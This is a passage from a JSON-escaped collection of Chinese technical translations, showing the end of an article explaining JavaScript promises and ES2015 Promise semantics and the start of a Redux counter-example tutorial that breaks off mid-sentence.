reject(result, [errors.left, errors.right]);\n        }\n      }\n    }\n  }  \n}\n```\n\n和 `race` 用法一样，`attempt(searchA(), searchB())` 会返回第一个_成功_解决的promise，而不仅是第一个解决的promise。可是，和 `race` 不一样，`attempt` 不会自然构成，因为它会聚集错误。因此，如果我们想尝试几个promise时，我们需要解释下：\n\n```\nfunction attemptAll(promises) {\n  // 由于我们聚集了所有的promise，我们需要从被拒绝的一个promise开始，\n  // 否则，如果存在错误，我们的尝试将一直不能完成。\n  var initial = createPromise();\n  reject(initial, []);\n\n  // 最后，我们用 `attempt` 来把promise组合起来，注意每一步都要平铺错误数组：\n  return promises.reduce(function(result, promise) {\n    return recover(attempt(result, promise), function(errors) {\n      return errors[0].concat([errors]);\n    });\n  }, createPromise());\n}\n\nattemptAll([searchA(), searchB(), searchC(), searchD()]);\n```\n\n## 6\\. 对Promise的一种实际理解\n\n[ECMAScript 2015](http://www.ecma-international.org/ecma-262/6.0/) 定义了JavaScript中promise的概念，但直到现在，我们使用的还是一个非常简单却非常规的promise实现。其原因是ECMAScript的promise标准过于复杂，要彻底解释这个概念更加艰难。但是，既然你现在知道promise是什么了，和其中的每个方面是怎样实现的，要迁移到理解标准promise也就很简单了。\n\n### 6.1\\. 介绍ECMAScript Promise\n\n新版本ECMAScript语言中，定义了一种JavaScript中的promise标准 [standard for promises](http://www.ecma-international.org/ecma-262/6.0/#sec-promise-constructor)。这个标准和最小限度promise实现有所不同，我们将从几个方面进行介绍，这使得它更复杂，但也更加实际和易于使用。下面的表格列出了每一个实现的不同之处。\n\n<table>\n  <thead>\n    <tr>\n      <th>我们的 Promises</th>\n      <th>ES2015 Promises</th>\n    </tr>\n  </thead>\n  <tbody>\n    <tr>\n      <td>p = createPromise()</td>\n      <td>p = new Promise(...)</td>\n    </tr>\n    <tr>\n      <td rowspan=\"2\">fulfil(p, x)</td>\n      <td>p = new Promise((fulfil, reject) => fulfil(x))</td>\n    </tr>\n    <tr>\n      <td>p = Promise.resolve(x)</td>\n    </tr>\n    <tr>\n      <td rowspan=\"2\">reject(p, x)</td>\n      <td>p = new Promise((fulfil, reject) => reject(x))</td>\n    </tr>\n    <tr>\n      <td>p = Promise.reject(x)</td>\n    </tr>\n    <tr>\n      <td>depend(p, f, g)</td>\n      <td>p.then(f, g)</td>\n    </tr>\n    <tr>\n      <td>chain(p, f)</td>\n      <td>p.then(f)</td>\n    </tr>\n    <tr>\n      <td>recover(p, g)</td>\n      <td>p.catch(g)</td>\n    </tr>\n    <tr>\n      <td>waitAll(ps)</td>\n      <td>Promise.all(ps)</td>\n    </tr>\n    <tr>\n      <td>raceAll(ps)</td>\n      <td>Promise.race(ps)</td>\n    </tr>\n    <tr>\n      <td>attemptAll(ps)</td>\n      <td>(None)</td>\n    </tr>\n  </tbody>\n</table>\n\n在标准promise中，主要的方法是 `new Promise(...)` 引入一个promise对象，然后用 `.then(...)` 变换。通过以上对比，所描述的操作，它们的工作方式也有些不一样的地方。\n\n`new Promise(f)` 构造一个新的promise对象，它通过计算，最终带着某个特定值将状态变为成功或失败。成功或失败的行为，按照预期传递到函数 `f`， `f` 是带有两个参数的函数对象。第一个参数用在处理执行成功的场景，第二个参数则用在处理执行失败的场景，因此：\n\n```\nvar p = createPromise();\nfulfil(p, 10);\n\n// 变为:\nvar p = new Promise((fulfil, reject) => fulfil(10));\n\n// ---\n// 并且:\nvar q = createPromise();\nreject(q, 20);\n\n// 变为:\nvar p = new Promise((fulfil, reject) => reject(20));\n```\n\n`Promise.then(f, g)` 是一个操作，它在一个有空洞的表达式和一个值之间创建依赖关系，类似于 `depend` 操作。`f` 和 `g` 都是可选参数，如果它们都没被提供，promise会把值在那个状态中传播。\n\n不像我们的 `depend`，`.then` 是一个复杂的操作，它试图让promise的使用变得更简单。传给 `.then` 的函数参数可以是一个promise，也可以是一个常规的值，在这种情况下， `.then` 操作会自动帮你把值放入到promise当中。因此：\n\n```\ndepend(promise, function(value) {\n  var q = createPromise();\n  fulfil(q, value + 1);\n  return q;\n})\n\n// ---\n// 变为:\nPromise.then(value => value + 1);\n```\n\n对比我们之前的构想，这样使得promise的代码变得简洁和更方便阅读。\n\n```\nvar squareAreaAbstraction = function(side) {\n  var result = createPromise();\n  fulfil(result, side * side);\n  return result;\n};\nvar printAbstraction = function(squareArea) {\n  var result = createPromise();\n  fulfil(result, print(squareArea));\n  return result;\n}\n\nvar sidePromise = createPromise();\nvar squareAreaPromise = depend(sidePromise, squareAreaAbstraction);\nvar printPromise = depend(squareAreaPromise, printAbstraction);\n\nfulfil(sidePromise, 10);\n\n// ---\n// 变为：\nvar sideP = Promise.resolve(10);\nvar squareAreaP = sideP.then(side => side * side);\nsquareAreaP.then(area => print(area));\n\n// 这更加类似于同步的版本:\nvar side = 10;\nvar squareArea = side * side;\nprint(squareArea);\n```\n\n类似于我们的 `waitAll` 操作，并行依赖多个值可以通过 `Promise.all` 操作来处理：\n\n```\nvar radius = 10;\nvar pi = Math.PI;\nvar circleArea = radius * radius * pi;\nprint(circleArea);\n\n// ---\n// 变为:\nvar radiusP = Promise.resolve(10);\nvar piP = Promise.resolve(Math.PI);\nvar circleAreaP = Promise.all([radiusP, piP])\n                         .then(([radius, pi]) => radius * radius * pi);\ncircleAreaP.then(circleArea => print(circleArea));\n```\n\n失败和成功的传播通过 `.then` 操作自身来处理，另外还提供了`.catch` 操作，作为一种简洁的、无需定义成功分支的 `.then` 调用。\n\n```\nvar div = function(a, b) {\n  var result = createPromise();\n\n  if (b === 0) {\n    reject(result, new Error(\"Division By 0\"));\n  } else {\n    fulfil(result, a / b);\n  }\n\n  return result;\n}\n\nvar a = 1，b = 2，c = 0，d = 3;\nvar xPromise = div(a, b);\nvar yPromise = chain(xPromise, function(x) {\n                                 return div(x, c)\n                               });\nvar zPromise = chain(yPromise, function(y) {\n                                 return div(y, d);\n                               });\nvar resultPromise = recover(zPromise, printFailure);\n\n// ---\n// 变为:\nvar div = function(a, b) {\n  return new Promise((fulfil, reject) => {\n    if (b === 0)  reject(new Error(\"Division by 0\"));\n    else          fulfil(a / b);\n  })\n}\n\nvar a = 1，b = 2，c = 0，d = 3;\nvar xP = div(a, b);\nvar yP = xP.then(x => div(x，c));\nvar zP = yP.then(y => div(y，d));\nvar resultP = zP.catch(printFailure);\n```\n\n### 6.2\\. 深入探究 `.then`\n\n`.then` 方法和我们之前的 `depend` 函数相比，有几个不同之处。`.then` 是一个用来定义最终值和某些计算的依赖关系的方法，它也尝试让大部分情况下promise的使用变得更加容易。这使得 `.then` 成为了一个复杂的方法(http://robotlolita.me/2015/11/15/how-do-promises-work.html#fn:5)，但我们可以通过联系我们之前的机制，去理解这个新方法。\n\n#### `.then` 自动适应常规值\n\n我们的 `depend` 函数只适用于接受promise作为参数。它期待于计算依赖关系返回一个promise，目的是为了它自身的promise返回值。`.then` 却没有这个要求。如果依赖关系返回的是一个像 `42` 这样的常规值，`.then`会把值转换成一个包含该值的promise。本质上说，`.then` 会按需把常规值转换为promise。\n\n把简化类型和我们的 `depend` 函数相比较:\n\n    depend : (Promise of α, (α -> Promise of β)) -> Promise of β\n\n把简化类型和 `.then` 方法相比较:\n\n    Promise.then : (this: Promise of α, (α -> β)) -> Promise of β\n    Promise.then : (this: Promise of α, (α -> Promise of β)) -> Promise of β\n\n在 `depend` 函数里，我们唯一能做的，就是返回一个包含某些内容的promise（并且在promise结果中包含同样的东西），`.then` 函数出于方便，也接受返回一个常规值，而不需要把值包装在promise当中。\n\n#### `.then` 不允许嵌套 promise\n\n为了方便通常的使用情况，ECMAScript 2015 promises的另一种方法是禁止嵌套promise。通过同化带有 `.then` 方法的任何东西，会使得你在不期待同化的情景之下出问题(http://robotlolita.me/2015/11/15/how-do-promises-work.html#fn:6)，但另一方面也使大家摆脱了思考匹配返回值类型的痛苦。\n\n受这一功能影响，不可能在非依赖类型系统中给 `.then` 方法一个明智的类型，但大概这意味着如下的例子：\n\n```\nPromise.resolve(1).then(x => Promise.resolve(Promise.resolve(x + 1)))\n```\n\n等价于:\n\n```\nPromise.resolve(1).then(x => Promise.resolve(x + 1))\n```\n\n这里执行 `Promise.resolve` ，而不是 `Promise.reject`。\n\n#### `.then` 使异常具体化\n\n如果一个异常同步地发生在 `.then` 方法计算依赖关系的过程中，那么异常会被捕捉到，并具体化为一个被拒绝的Promise。本质上，这意味着所有的在 `.then` 中的附加在promise的值之上的计算，都好像被包裹在 `try/catch` 代码块之中，如此:\n\n```\nPromise.resolve(1).then(x => null());\n```\n\n等价于：\n\n```\nPromise.resolve(1).then(x => {\n  try {\n    return null();\n  } catch (error) {\n    return Promise.reject(error);\n  }\n});\n```\n\nPromise的原生实现会追踪这些，并汇报没被处理的内容。由于没有详述promise中的一个“捕获的错误”是由什么构成，所以不同的开发工具汇报的内容有所不同。例如，Chrome开发者工具会输出所有被拒绝的实例到控制台，这可能会给你造成困扰。\n\n#### `.then` 异步调用依赖关系\n\n我们之前的promise实现是同步调用依赖关系计算的，标准ECMAScript promise做这个事情是异步的。如果不是用合理手段（`.then`方法）的话，我们将很难依赖一个promise的值。\n\n因此，下面的代码将不会起作用:\n\n```\nvar value;\nPromise.resolve(1).then(x => value = x);\nconsole.log(value);\n// => undefined\n// (`value = x` 到这里才发生，在所有其它代码运行以后)\n```\n\n这保证了依赖关系运算总是执行在一个空栈上，尽管这种保证在 ECMAScript 2015 中并不是那么重要，因为其要求所有的实现都支持适当的尾部调用(http://robotlolita.me/2015/11/15/how-do-promises-work.html#fn:7)。\n\n## 7\\. 什么时候不适合用promise？\n\n虽然promise作为原生并发可以很好地工作，但promise既不像Continuation-Passing Style那样普遍，也不是所有用例的最佳解决方案。Promise是值的占位符，最终会被计算出来，因此它只能在上下文当中有意义，因为你可以使用那些值自身。\n\n![](http://robotlolita.me/files/2015/09/promises-13.png)\n\n_Promises只在**值**的上下文中起作用_\n\n试着在想要的结果之外使用promise，包括在一些非常复杂的代码库，理解，并且扩展。以下是一些应该完全避免使用promise的例子：\n\n*   **通知计算某个特定值的结果**。 Promise被用在和值本身一样的上下文中，所以就像我们不能知道计算某个特定的字符串的进度一样，给定字符串本身，我们不能用promise来做这个。因为这个，如果你有兴趣知道一个文件的下载进度，你会想要一个分离的东西，比如说事件。\n\n*   **一段时间内需要产生多个值**。 Promises只能代表单个最终值。对于一段时间内要产生多个值的情况 (等价于异步迭代器)，你可能需要像流(Streams)，[Observables](http://reactivex.io/documentation/observable.html)，或者 [CSP Channels](http://www.usingcsp.com/cspbook.pdf) 这样的东西。\n\n*   **表示动作**。 这也意味着不能按顺序执行promise，因为一旦得到一个promise，就马上开始计算它的值了。对于动作可以使用 [CPS](http://matt.might.net/articles/by-example-continuation-passing-style/)，[Continuation monad](http://www.haskellforall.com/2012/12/the-continuation-monad.html)，或者像 C♯ 那样的 [Task (co)monad](https://www.cl.cam.ac.uk/teaching/1213/R204/asynclecture.pdf)。\n\n## 8\\. 结论\n\nPromise 允许我们组合同步与异步过程，对于处理最后返回的值是一种很棒的方式。虽然 ECMAScript 2015 里面的 promise 标准还有它自身的一系列问题，比如自动地具体化错误应该使进程崩溃，但它有一个非常好用的工具来处理上述问题。无论你是否使用他们，理解 promise 是什么和它的工作原理是很重要的，因为在所有的 ECMAScript 工程当中，它们的使用正变得越来越普遍。\n\n## 引用\n\n[ECMAScript® 2015 Language Specification](http://www.ecma-international.org/ecma-262/6.0/)\n\n_Allen Wirfs-Brock_ — 定义了 JavaScript 中的 promise 标准。\n\n[Alice Through The Looking Glass](http://www.ps.uni-saarland.de/Papers/abstracts/alice-looking-glass.html)\n\n_Andreas Rossberg，Didier Le Botlan，Guido Tack，Thorsten Brunklaus，and Gert Smolka_ — 提出了 Alice 语言，通过 future 和 promise 支持了并发。\n\n[Haskell 98 Language and Libraries](https://www.haskell.org/definition/haskell98-report.pdf)\n\n_Simon Peyton Jones_ — 非正式地描述了 Haskell 编程语言的语义。\n\n[Communicating Sequential Processes](http://www.usingcsp.com/cspbook.pdf)\n\n_C. A. R. Hoare_ — 描述了进程的并发组合，比如确定性和非确定性的选择。\n\n[Monads For Functional Programming](http://homepages.inf.ed.ac.uk/wadler/papers/marktoberdorf/baastad.pdf)\n\n_Philip Wadler_ — 描述了在这当中的其他内容，monads 是如何被用在函数式语言错误处理的。尽管在 ECMAScript 2015 中，promise 没有实现 monad 的接口，但是 Promise 的顺序和错误处理非常接近于 monad 的构想。\n\n## 附加资源\n\n[Source Code For This Blog Post](https://github.com/robotlolita/robotlolita.github.io/tree/master/examples/promises)\n\n包含了这篇博文里所有的（有注释的）源代码（包含一个遵循了 ECMAScript 2015 规范的 promise 最小化实现）。\n\n[Promises/A+ Considered Harmful](http://robotlolita.me/2013/06/28/promises-considered-harmful.html)\n\n_Quildreen Motta_ — 在复杂程度、错误处理、性能方面，讨论了Promises/A+ 和 ECMAScript 2015 Promises 标准中的一些问题。\n\n[Professor Frisby’s Mostly Adequate Guide to Functional Programming](https://www.gitbook.com/book/drboolean/mostly-adequate-guide/details)\n\n_Brian Lonsdorf_ — 一本关于 JavaScript 函数式编程的引导性的图书。\n\n[Callbacks Are Imperative，Promises Are Functional: Node’s Biggest Missed Opportunity](https://blog.jcoglan.com/2013/03/30/callbacks-are-imperative-promises-are-functional-nodes-biggest-missed-opportunity/)\n\n_James Coglan_ — 通过描述一个程序的执行顺序，对比了 Continuation-Passing Style 和 Promise。\n\n[Simple Made Easy](http://www.infoq.com/presentations/Simple-Made-Easy)\n\n_Rich Hickey_ — Rich在演讲中讨论了在设计的背景下的“简单”和“容易”，虽然和 promise 没有直接相关，但是和编程有很大的关系。\n\n[Proper Tail Calls in Harmony](https://blog.mozilla.org/dherman/2011/01/30/proper-tail-calls-in-harmony/)\n\n_Dave Herman_ — 讨论了在 ECMAScript 中合理使用尾部调用的好处。\n\n[Your Mouse is a Database](http://queue.acm.org/detail.cfm?id=2169076)\n\n_Erik Meijer_ — 讨论了基于事件和异步计算的Rx的协调和编制，使用了观察者的概念。\n\n[Stream Handbook](https://github.com/substack/stream-handbook)\n\n_James Halliday (substack)_ — 涵盖了编写 Node.js 流(Streams)程序的一些基础知识。\n\n[By Example: Continuation-Passing Style in JavaScript](http://matt.might.net/articles/by-example-continuation-passing-style/)\n\n_Matt Might_ — 描述了 continuation-passing style 如何被应用在 JavaScript 非阻塞计算中。\n\n[The Continuation Monad](http://www.haskellforall.com/2012/12/the-continuation-monad.html)\n\n_Gabriel Gonzalez_ — 基于 Haskell 编程语言环境，讨论了诸如 monads 这样的概念延续。\n\n[Pause ‘n’ Play: Asynchronous C♯ Explained](https://www.cl.cam.ac.uk/teaching/1213/R204/asynclecture.pdf)\n\n_Claudio Russo_ — 解释了使用 Task comonad 的异步计算在 C♯ 中如何工作，以及那个解决方案是怎样和其它模型建立联系的。\n\n## 资源库\n\n[es6-promise](https://www.npmjs.com/package/es6-promise)\n\n对于没有实现 ECMAScript 2015 的平台，这是一个用来实现 ES2015 promise 的 polyfill。\n\n[Bluebird](https://www.npmjs.com/package/bluebird)\n\n一个高效的 Promises/A+ 实现。\n\n#### 脚注\n\n1.  在 JavaScript 中，你不能在 Promises/A，Promises/A+ 和其它 promise 的常见实现中，直接取出 promise 的值。\n\n    在一些 JavaScript 环境中，比如 Rhino 和 Nashorn（译者注：都是用Java实现的JavaScript引擎），也许可以实现支持提取值的 promise。Java的 Futures 就是一个例子。\n\n    要从 promise 取出还没计算出来的值，要求阻塞线程，直到值被计算出来。对于大多数JS环境，这并不通用，因为它们都是单线程的。 [↩](#fnref:1)\n\n2.  “lambda抽象”是一种在表达式中使用抽象变量的匿名函数。JavaScript 的匿名函数等价于LC的Lambda抽象，然而 JavaScript 也允许给函数命名。 [↩](#fnref:2)\n\n3.  Haskell编程语言的工作方式，就是“计算定义”和“执行计算”的分离。一个 Haskell 程序只不过是大量计算结果为 `IO` 数据结构的表达式。这个结果多少类似于我们在这里定义的 `Promise` 结构，因为它只定义了程序中不同计算之间的依赖关系。\n\n    在Haskell中，你的程序必须返回 `IO` 类型的值，这个值会随后传递到一个单独的解释器。解释器只知道如何允许 `IO` 计算，并遵守其定义的依赖关系。对于JS，也可以定义某些类似的内容。如果我们那样做的话，所有我们的JS程序都仅仅是一个导致 promise 的表达式，并且那个 promise 会传递到一个单独的组件，这个组件知道如何执行 promise 和它的依赖关系。\n\n    看看 [Pure Promises](https://github.com/robotlolita/robotlolita.github.io/tree/master/examples/promises/pure/) 示例目录，可作为这种 promise 形式的一个实现。 [↩](#fnref:3)\n\n4.  Monad 是一个接口，可以（并且通常是）用作顺序语义，通过以下操作，可被描述为一个结构体：\n\n        class Monad m where\n          -- 把值放进monad中\n          of    :: ∀a. a -> Monad a\n\n          -- 在 monad 中变换值\n          -- (转换必须保持类型不变)\n          chain :: ∀a, b. m a -> (a -> m b) -> m b\n\n    在这个构想中，monad 的 `chain` 操作符 `print(1).chain(_ => print(2))` 和JS的 “分号操作符” 多少有点类似(例如: `print(1); print(2)`)。 [↩](#fnref:4)\n\n5.  这里使用了Rich Hickey的概念：“复杂”和“简单”。 `.then` 就被定义为一种简单的方法。它迎合了一般的使用案例，作为简化概念的代价，那就是 `.then` 做了太多的事情，而且这些事情有相当多的重叠。\n\n    另一方面，一个简单的API，会把这些单独概念分离到不同的函数中，使得你可以用 `.then` 把这些功能都实现。 [↩](#fnref:5)\n\n6.  `.then` 方法接收一切值和状态，让它们看起来像一个 promise 。在以前，这些是通过一个接口去检查，这意味着通过检查一个对象是否提供了 `.then` 方法，可以包含所有的对象，它们都不符合 promise 的 `.then` 方法。\n\n    如果 promise 标准不受限于向后兼容性，使用现存的 promise 实现，可以进行更可靠的测试，通过使用接口符号（Symbols for interfaces），或者品牌的某些类似形式实现。 [↩](#fnref:6)\n\n7.  适当的尾部调用保证了尾部位置的所有调用将在恒定的堆栈中发生。本质上，这保证了你的程序完全由尾部调用构成，栈将不会增加，因此，栈溢出错误在这样的代码中将不可能出现。附带地，它也允许语言实现，来让这样的代码变得更快，因为它不需要处理常见的函数调用开销。 [↩](#fnref:7)\n"
  },
  {
    "path": "TODO/how-does-redux-work.md",
    "content": "> * 原文地址：[How Redux Works: A Counter-Example](https://daveceddia.com/how-does-redux-work/)\n> * 原文作者：[Dave Ceddia](https://daveceddia.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/how-does-redux-work.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-does-redux-work.md)\n> * 译者：[hexianga](https://github.com/hexianga)\n> * 校对者：[薛定谔的猫](https://github.com/Aladdin-ADD)，[guoyang](https://github.com/gy134340)\n\n# Redux 的工作过程: 一个计数器例子\n\n在学习了一些 React 后开始学习 Redux，Redux 的工作过程让人感到很困惑。\n\nActions，reducers，action creators（Action 创建函数），middleware（中间件），pure functions（纯函数），immutability（不变性）…\n\n这些术语看起来非常陌生。\n\n所以在这篇文章中我将用一种有利于大家理解的反向剖析的方法去揭开 Redux **怎样**工作的神秘面纱。在 [上一篇](https://daveceddia.com/what-does-redux-do/) 中，在提出专业术语之前我将尝试用简单易懂的语言去解释 Redux。\n\n如果你还不明确 **Redux 是干什么的** 或者为什么要使用它，请先移步 [这篇文章](https://daveceddia.com/what-does-redux-do/) 然后再回到这里继续阅读。\n\n## 第一：明白 React 的状态 state\n\n我们将从一个简单的使用 React 状态的例子开始，然后一点一点地添加Redux。\n\n这是一个计数器：\n\n![计数器组件](https://daveceddia.com/images/counter-plain.png)\n\n这里是代码 (为了使代码简单我没有贴出 CSS 代码，所以下面代码的效果会不会像上面图片一样美观)：\n\n```\nimport React from 'react';\n\nclass Counter extends React.Component {\n  state = { count: 0 }\n\n  increment = () => {\n    this.setState({\n      count: this.state.count + 1\n    });\n  }\n\n  decrement = () => {\n    this.setState({\n      count: this.state.count - 1\n    });\n  }\n\n  render() {\n    return (\n      <div>\n        <h2>Counter</h2>\n        <div>\n          <button onClick={this.decrement}>-</button>\n          <span>{this.state.count}</span>\n          <button onClick={this.increment}>+</button>\n        </div>\n      </div>\n    )\n  }\n}\n\nexport default Counter;\n```\n\n简单的看一下他是怎样跑起来的：\n\n* 这个 `count` 状态被存储在最外层组件 `Counter` 里面\n* 当用户点击 “+”，这个按钮的 `onClick` 回调函数被触发, 也就是组件 `Counter` 里面的 `increment` 方法被调用。\n*  `increment` 方法用新的数字更新状态 count。\n* 由于状态被改变了, React 重新渲染 `Counter` 组件 (还有它的子组件), 然后显示新的计数器的值.\n\n如果你想要了解更多的状态怎么被改变的细节，去阅读 [React 中状态的图形化指南](https://daveceddia.com/visual-guide-to-state-in-react/) 然后再回到这里。严格来讲：如果上面的例子没有帮助你回顾起 React 的 state ，那么在你学习 Redux 之前应该去学习 React 的 state 是怎么工作的。\n\n#### 快速开始\n\n如果你想通过代码学习，现在就创建一个项目:\n\n* 如果你之前没有安装 create-react-app ，那么先安装 (`npm install -g create-react-app`)\n* 创建一个项目: `create-react-app redux-intro`\n* 打开 `src/index.js` 然后用下面的代码进行替换:\n\n```\nimport React from 'react';\nimport { render } from 'react-dom';\nimport Counter from './Counter';\n\nconst App = () => (\n  <div>\n    <Counter />\n  </div>\n);\n\nrender(<App />, document.getElementById('root'));\n```\n\n* 用上面的计数器代码创建一个 `src/Counter.js` \n\n## 现在: 添加 Redux\n\n在 [第一部分中讨论到](https://daveceddia.com/what-does-redux-do/)，Redux 保存应用程序的状态 **state** 在单一的状态树 **store**中。然后你可以将 state 的部分抽离出来，然后以 props 的方式传入组件。这使你可以把数据保存在一个全局的位置（状态树 store ）然后将其注入到应用程序中的**任何一个**组件中，而不用通过多层级的属性传递。\n\n注意：你可能经常看到 “state” 和 “store” 混着使用，但是严格来讲： **state**是数据，而 **store** 是数据保存的地方。\n\n我们接着往下走，利用你的编辑器继续编辑我们下面的代码，它将帮助你理解 Redux 怎么工作（我们通过讲解一些错误来继续）。\n\n添加 Redux 到你的项目中:\n\n```\n$ yarn add redux react-redux\n```\n\n#### redux vs react-redux\n\n等等 — 这是两个库吗？你可能会问 “react-redux 是什么”？对不起，我一直在骗你。\n\n你看，`redux` 给了你一个状态树 store，让你可以把状态 state 存在里面，然后可以把状态取出来，当状态改变的时候可以做出响应。然而这是他它做的所有事。实际上正是 `react-redux` 将 state 与 React 组件联系起来。实际上：`redux` 和 React **一点儿也没有**关系。\n\n这些库就像豌豆荚里面的两粒豌豆，99.999% 的时候当有人在 React 的背景下提到 “Redux” 的时候，他们指的是这两个库。所以记住：当你在 StackOverflow 或者 Reddit 或者[其它任何地方](https://daveceddia.com/keeping-up-with-javascript/)看到 Redux 时，他指的是这两个库。\n\n## 最后一件事\n\n大多数教程一开始就创建一个 store 状态树，设置 Redux，写一个 reducer，等等，出现在屏幕上的任何效果在展现出来之前都会经过大量的操作。 \n\n我将采用一种反向推导的方法，使用同样多的代码展现出同样的效果。但是希望每一个步骤后面的原理都能展现地更加清楚。\n\n回到计数器的应用程序，我们把组件的状态转移到 Redux。\n\n我们把状态从组件里面移除，因为我们很快可以从 Redux 中获取它们：\n\n```\nimport React from 'react';\n\nclass Counter extends React.Component {\n  increment = () => {\n    // 后面填充\n  }\n\n  decrement = () => {\n    // 后面填充\n  }\n\n  render() {\n    return (\n      <div>\n        <h2>Counter</h2>\n        <div>\n          <button onClick={this.decrement}>-</button>\n          <span>{this.props.count}</span>\n          <button onClick={this.increment}>+</button>\n        </div>\n      </div>\n    )\n  }\n}\n\nexport default Counter;\n```\n\n## 计数器的流程\n\n我们注意到 `{this.state.count}` 改变成了 `{this.props.count}`。当然这不会起作用，因为计数器组件还没有接受 `count` 属性，我们通过 Redux 注入这个属性。\n\n为了从 Redux 中获得状态 count，我们需要在模块的顶部导入 `connect` 方法：\n\n```\nimport { connect } from 'react-redux';\n```\n\n然后接下来我们需要 “connect” 计数器组件到 Redux 中：\n\n```\n// 添加这个函数：\nfunction mapStateToProps(state) {\n  return {\n    count: state.count\n  };\n}\n\n// 然后这样替换：\n// 默认导出计数器组件；\n\n// 这样导出：\nexport default connect(mapStateToProps)(Counter);\n```\n\n这将发生错误 (在第二部分会有更多错误)。\n\n以前我们导出函数本身，现在我们把它用 `connect` 函数包装后调用。\n\n#### 什么是 `connect`？\n\n你可能注意到这个函数调用看起来有一些奇怪。为什么是 `connect(mapStateToProps)(Counter)` 而不是 `connect(mapStateToProps, Counter)` 或者 `connect(Counter, mapStateToProps)`？这将发生什么呢？\n\n之所以这样写是因为 `connect` 是一个**高阶函数**，当你调用它的时候会返回一个函数，然后用一个组件做参数调用**那个函数**返回一个新的包装过的组件。\n\n返回的组件另一个名字叫做[高阶组件](https://daveceddia.com/extract-state-with-higher-order-components/) (又叫做 “HOC”)。高阶组件被指责有很多的缺点，但是他们仍然非常有用，`connect` 就是一个很好的例子。\n\n`connect` 连接整个状态到了Redux，通过你自己提供的 `mapStateToProps` 函数， 这需要一个自定义的函数因为只有你自己知道状态在 Redux 中的模型。\n\n`connect` 连接了所有的状态，“嘿，告诉我你需要从混乱的状态中得到什么”。\n\n从 `mapStateToProps` 函数中返回的状态作为属性注入到你的组件中。上面例子中的 `state.count` 作为 `count` 属性：对象中的键名作为属性名，它们对应的值作为属性的值。所以你看，从函数的字面意思上是**定义了状态到属性的映射**。\n\n## 错误意味着有进展!\n\n代码进行到这里，你会在控制台里面看到下面的错误：\n\n> Could not find “store” in either the context or props of “Connect(Counter)”. Either wrap the root component in a <provider>, or explicitly pass \"store\" as a prop to \"Connect(Counter)\".</provider>\n\n因为 `connect` 从 Redux store 树里面获取状态，而我们还没有创建状态树或者说告诉 app 怎样去找到 store 树，这是一个合乎逻辑的错误，Redux 还不知道现在发生了什么事。\n\n## 提供一个状态树 store\n\nRedux 控制着整个 app 的全部状态，通过 `react-redux` 里面的 `Provider` 组件包裹着整个 app，app 里面的**每一个组件**都可以通过 `connect` 去进入到 Redux store 里面获取状态。\n\n这意味着最外围的 `App` 组件，以及 `App` 的子组件（像 `Counter`），甚至他们子组件的子组件等等，所有的组件都可以访问状态树 store，只要把他们通过 `connect` 函数调用。\n\n我不是说要把每一个组件都用 `connect` 函数调用，那是一个很糟糕的做法(设计混乱而且太慢了)。\n\n`Provider` 看起来很具有魔性，实际上在挂载的时候使用了 React 的 “context” 特性。\n\n `Provider` 就像一个秘密通道连接到了每一个组件，使用 `connect` 打开了通向每一个组件的大门。\n\n想象一下，把糖浆倒在一堆煎饼上，假如你只把糖浆倒在了最上面的煎饼上，怎么才能让所有的煎饼都能蘸到糖浆呢。 `Provider` 为 Redux 做了这件事。 \n\n在文件 `src/index.js`中，导入 `Provider` 组件并且用它来包裹 `App` 组件的内容。\n\n```\nimport { Provider } from 'react-redux';\n...\n\nconst App = () => (\n  <Provider>\n    <Counter/>\n  </Provider>\n);\n```\n\n我们仍然会遇到报错，因为 `Provider` 需要一个 store 状态树才能起作用，它会把 store 作为属性，所以我们首先需要创建一个 store。\n\n## 创建一个 store\n\nRedux 使用一个方便的函数来创建 stores，这个函数就是 `createStore`。好了，现在让我们来创建一个 store 然后把它作为属性传入 Provider 组件：\n\n```\nimport { createStore } from 'redux';\n\nconst store = createStore();\n\nconst App = () => (\n  <Provider store={store}>\n    <Counter/>\n  </Provider>\n);\n```\n\n又产生了另外一个不同的错误：\n\n> Expected the reducer to be a function.\n\n现在是 Redux 的问题了，Redux 不是那么的智能，你可能希望创建一个 store，它就会从 store 中 给你一个中很好的默认的值，哪怕是一个空对象？\n\n但是绝不会这样，Redux 不会对你的状态的组成做出任何的猜测，状态的组成结构完全取决于你自己。他可以是一个对象, 一个数字, 一个字符串, 或者是你需要的任何形式。所以我们必须提供一个函数去返回这个状态，这个函数就叫做**reducer**(后面会解释为什么这么命名)。让我们来看看函数最简单的情况，将它作为函数 `createStore` 的参数，看看会发生什么：\n\n```\nfunction reducer() {\n  // just gonna leave this blank for now\n  // which is the same as `return undefined;`\n}\n\nconst store = createStore(reducer);\n```\n\n## Reducer 必须要有返回值\n\n又产生了另外的错误：\n\n> Cannot read property ‘count’ of undefined\n\n产生这个错误是因为我们试图去取得 `state.count`，但是 `state` 却没有定义。Redux 希望 `reducer` 函数为 `state`  返回一个值，而不是返回一个 `undefined`。\n\nreducer 函数应该返回一个状态，实际上它应该用利用**当前状态**去返回**新的状态**。\n\n让我们用 reducer 函数去返回满足我们需要的状态形式：一个含有 `count` 属性的对象。\n\n```\nfunction reducer() {\n  return {\n    count: 42\n  };\n}\n```\n\n嘿！这个 count 现在显示为 “42”，神奇吧。\n\n只是有一个问题：count 一直显示为42。\n\n## 目前为止\n\n在我们进一步了解怎么**更新**计数器的值之前，我们先来了解一下到目前为止我们做了些什么：\n\n* 我们写了一个 `mapStateToProps` 函数，该函数的作用是：把 Redux 中的状态转换成一个包含属性的对象。\n* 我们用模块 `react-redux` 中的函数 `connect` 把 Redux store 状态树和 `Counter` 组件连接起来，使用 `mapStateToProps` 函数配置了怎么联系。\n* 我们创建了一个 `reducer` 函数去告诉 Redux 我们的状态应该是什么形式的。\n* 我们使用 `reducer` 做 `createStore` 函数的参数，用它创建了一个 store。\n* 我们把整个组件包裹在了 `react-redux` 中的组件 `Provider` 中，向该组件传入了 store 作为属性。\n* 这个程序工作的很好，唯一的问题是计数器显示停留在了42。\n\n你跟着我做到现在了吗？\n\n## 互动起来 (让计数器工作)\n\n我知道到目前为止我们的程序是很差劲的，你们已经写了一个显示着数字 “42” 和两个无效的按钮的静态的 HTML 页面，不过你还在继续阅读，接下来将继续用 React 和 Redux 和其它的一些东西让我们的程序变得复杂起来。\n\n我保证接下来做的事情会让上面做的一切都值得。\n\n事实上，我收回刚才那句话，一个简单的计数器的例子是一个很好的教学例子，但是 Redux 让应用变得复杂了，React 